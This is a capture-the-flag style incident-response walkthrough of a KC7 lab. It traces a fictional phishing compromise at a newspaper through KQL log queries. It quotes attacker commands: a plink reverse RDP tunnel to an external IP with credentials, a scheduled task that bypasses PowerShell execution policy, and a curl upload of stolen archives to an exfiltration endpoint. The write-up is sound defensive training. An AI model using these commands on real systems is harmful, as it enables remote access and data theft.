kc7 / Security Analyst I / valdoria
// kc7 · investigation flow

A Scandal in Valdoria

platform KC7 difficulty Easy status ✓ complete patterns banked 9
T1566.002T1204.002T1059.001T1053.005T1572T1033T1560.001T1567

The brief. On January 22, 2024, The Valdorian Times published an unapproved article making defamatory claims about a candidate in the Valdoria mayoral race — the morning it ran, it didn’t match the article the editor had actually approved. The newspaper printer, Clark Kent, says he printed exactly what landed in his inbox from the Editorial Intern, Ronnie McLovin. Ronnie swears she never sent it. This is a methodology walkthrough, not an answer key — the queries are the takeaway.

01 · Start at the email

Compromises usually start in the inbox, so before touching Ronnie or the printed story, pull the thread on any phishing lure that landed on staff. IT flagged a suspicious message received by Sonia Gose, a Senior Editor — characterise the sender before chasing anything else.

banked · PTN-009email
Email
| where recipient == "sonia_gose@valdoriantimes.news"
| where subject contains "apply"

Sender is newspaper_jobs@gmail.com — external, masquerading as a recruiter — with a link to Valdorian_Times_Editorial_Offer_Letter.docx on a lookalike domain. That link and Sonia’s IP are the pivot into step 2: did she click?

02 · Confirm the click

Knowing the lure isn’t enough — pull Sonia’s IP from Employees, then check outbound browsing for a hit on that exact URL, keeping the timestamp so the chain stays ordered.

banked · PTN-010email
OutboundNetworkEvents
| where src_ip == "10.10.0.3"
| where url contains "promotionrecruit"

Confirmed — a GET to the offer-letter docx at 10:23:17, thirteen minutes after the email landed. Click confirmed, so the download should be sitting on disk.

03 · Trace the drop, then the payload

Search FileCreationEvents by hostname and the exact filename to find where it landed, then window the minutes right after that drop — malicious documents that macro-execute usually spawn their next stage fast.

banked · PTN-022process
FileCreationEvents
| where hostname == "UL0M-MACHINE"
| where filename == "Valdorian_Times_Editorial_Offer_Letter.docx"

Landed at 10:24:04 via edge.exe, hash captured. Ten minutes later, in the same window:

banked · PTN-006time
FileCreationEvents
| where hostname == "UL0M-MACHINE"
| where timestamp >= datetime(2024-01-05 10:24:04+00:00) and timestamp < datetime(2024-01-05 10:34:04+00:00)

hacktivist_manifesto.ps1 written to C:\ProgramData\, spawned by explorer.exe — opening the “offer letter” dropped a PowerShell script. Go find what it actually did.

04 · Persistence, then a tunnel out

Pull every process tied to the script’s filename to see what it spawned.

banked · PTN-023process
ProcessEvents
| where hostname == "UL0M-MACHINE"
| where process_commandline contains "hacktivist_manifesto.ps1"

schtasks.exe creates an hourly task, "Hacktivist Manifesto", that re-runs the script with -ExecutionPolicy Bypass — that’s persistence. Next, the connection out:

banked · PTN-024c2
ProcessEvents
| where hostname == "UL0M-MACHINE"
| where process_commandline contains "plink"

plink.exe -R 3389:localhost:3389 -ssh -l $had0w -pw thruthW!llS3tUfree 136.130.190.181 — a reverse RDP tunnel over SSH to an attacker-controlled host, credentials $had0w / thruthW!llS3tUfree. A live tunnel means hands-on-keyboard access next.

05 · Hands-on-keyboard discovery

Narrow to the attack day and to shells spawned under cmd.exe to catch what the attacker actually typed once the tunnel was up.

banked · PTN-025process
ProcessEvents
| where hostname == "UL0M-MACHINE"
| where parent_process_name == "cmd.exe"
| where timestamp >= datetime(2024-01-06) and timestamp <= datetime(2024-01-07)

whoami among five discovery commands — textbook post-compromise recon. Nothing further on Sonia’s box after that, but a dead end on one host isn’t a dead end on the campaign — the same phishing infrastructure had to have hit someone else.

06 · A second victim, the same playbook

A second sender address, valdorias_best_recruiter@gmail.com, turns up in the mail logs — reuse the sender-characterisation query on it instead of Sonia’s address.

Email
| where sender == "valdorias_best_recruiter@gmail.com"

18 emails sent org-wide, including one to Ronnie McLovin — the Editorial Intern — on 2024-01-10, subject “Breaking News: We’re Hiring!”, link to Editorial_J0b_Openings_2024.docx. Running the same click → drop → persistence → tunnel checks against Ronnie’s IP (10.10.0.19, hostname A37A-DESKTOP) turns up an identical chain: same hacktivist_manifesto.ps1 hash, same plink credentials, a different destination IP (168.57.191.100). One actor, one automated playbook, run twice.

07 · The forged OpEd

Three weeks later, a third file shows up on Ronnie’s machine that doesn’t fit the phishing pattern — a fresh download outside the original lure. Search network events directly by filename.

OutboundNetworkEvents
| where url contains "fakestory.docx"

fakestory.docx pulled from hire-recruit.org at 09:47:51 on 2024-01-31, straight to Ronnie’s Downloads. A fresh download three weeks after the initial compromise means the attacker still had the tunnel and used it directly — hands-on-keyboard again, not another phishing round. Checking what ran on her host right after:

banked · PTN-026process
ProcessEvents
| where hostname == "A37A-DESKTOP"
| where process_name == "cmd.exe"

move C:\Users\romclovin\Downloads\fakestory.docx C:\Users\romclovin\Documents\OpEdFinal_to_print.docx at 10:26:20 — the attacker renamed the fake story into the exact filename the newsroom would expect. Forty-four minutes later:

Email
| where sender contains "lovin"
| where recipient contains "kent"

11:11:12URGENT: Final OpEd Draft Edits (Please publish the following article in tomorrow's paper)), sent from Ronnie’s own account to Clark Kent, linking straight to the renamed file. The attacker didn’t need to compromise Clark at all — they used Ronnie’s already-tunnelled session to send the forgery as her. That’s the printed story, confirmed traced back to source.

08 · Exfiltration

Same host, same day — check what else ran around the rename.

banked · PTN-027exfil
ProcessEvents
| where hostname == "A37A-DESKTOP"
| where process_name == "cmd.exe"

Three password-protected 7zip archives — DankMemes.7z, MyStolenDataFromDesktop.7z, MyStolenDataFromDocuments.7z — all locked with the same plink credential (thruthW!llS3tUfree), followed by:

curl -F "file=@C:\Users\romclovin\Documents\*.7z" https://hirejob.com/exfil_processor/upload.php

Confirmed exfil off Ronnie’s box to an attacker-controlled upload endpoint. Last step: how far did it spread?

09 · Scope the blast radius

Search org-wide for the same exfil signature to rule out other victims.

ProcessEvents
| where process_name == "cmd.exe"
| where process_commandline contains "curl"

Only Ronnie’s host matches. Blast radius: one phishing kit, two clicks, one hands-on-keyboard session, one forged article, one machine exfiltrated.

Timeline

DateEvent
2024-01-05 09:42Phishing email to Sonia Gose (newspaper_jobs@gmail.com)
2024-01-05 10:23Sonia clicks, downloads offer-letter docx
2024-01-05 10:24hacktivist_manifesto.ps1 dropped, scheduled task created
2024-01-06Attacker tunnels in via plink, runs discovery commands
2024-01-10 08:48Second phishing wave hits Ronnie McLovin
2024-01-10 08:55Ronnie clicks, same payload chain lands on A37A-DESKTOP
2024-01-31 09:47fakestory.docx downloaded directly via the live tunnel
2024-01-31 10:26Renamed to OpEdFinal_to_print.docx
2024-01-31 11:11Forged article emailed from Ronnie’s account to Clark Kent
2024-01-31 (later)Documents, desktop contents, and personal files archived and exfiltrated to hirejob.com
2024-02-01 02:14Final curl upload of stolen archives

Root cause: a spearphishing kit that landed on two staff members, escalated to hands-on-keyboard access via a plink-tunnelled RDP session, and was used both to forge and distribute a defamatory article under a real employee’s identity, and to exfiltrate data from the compromised host. Not a hack of the printer, not an insider — a phishing-driven account takeover.


Proof of completion:

KC7 certificate (PDF) · badge

9 patterns banked from this lab view them in the KQL bank →